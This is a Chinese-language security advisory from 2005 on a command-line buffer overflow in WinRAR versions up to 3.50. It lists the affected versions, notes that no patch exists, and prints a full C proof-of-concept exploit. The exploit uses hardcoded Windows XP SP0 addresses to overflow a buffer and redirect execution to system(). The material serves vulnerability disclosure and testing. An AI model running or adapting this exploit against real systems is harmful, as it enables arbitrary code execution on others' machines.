安全研究

安全漏洞
RARLAB WinRAR命令行处理溢出漏洞

发布日期:2005-10-18
更新日期:2005-10-18

受影响系统:
RARLAB WinRar 3.50
RARLAB WinRar 3.42
RARLAB WinRar 3.41
RARLAB WinRar 3.40
RARLAB WinRar 3.20
RARLAB WinRar 3.11
RARLAB WinRar 3.10 beta 5
RARLAB WinRar 3.10 beta 3
RARLAB WinRar 3.10
RARLAB WinRar 3.0.0
RARLAB WinRar 3.0
RARLAB WinRar 2.90
描述:
BUGTRAQ  ID: 15123

WinRar是非常流行的压缩/解压工具。

WinRar对命令行的处理存在溢出漏洞,攻击者可能利用这个漏洞远程执行任意代码。

由于在将用户提供的字符串拷贝到静态进程缓冲区之前没有正确的验证其长度,RARLAB WinRAR在处理命令行时存在远程客户端溢出漏洞。

<*来源:edward11 (edward11@postmaster.co.uk
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112958942110272&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <string.h>
#include <windows.h>

int main ( int argc, char *argv[] )
{
   long sys_addr  = 0x77C18044; // winxp sp0 targets...
   long exit_addr = 0x77C27ADC;
   long cmd_addr  = 0x77C01335;

   char buf[3000];
   char cmd[3000];
  
   if ( argc < 2 )
   {
   printf("\n * 0xLeTzDanCe - WinRAR <= 3.50 local exploit ENG version  *\n * * \
usage: 0xletzdance.exe <path_to_RAR>\n\n");  exit(0);
   }

   memset(buf, 0x00, 3000);
   memset(cmd, 0x00, 3000);

   memset(buf, 0x55, 516);

   *(long*)&buf[strlen(buf)]  = sys_addr;
   *(long *)&buf[strlen(buf)] = exit_addr;
   *(long *)&buf[strlen(buf)] = cmd_addr;

   sprintf(cmd, "%s %s", argv[1], buf);
   system(cmd);

}

建议:
厂商补丁:

RARLAB
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.rarlabs.com

浏览次数:3196
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障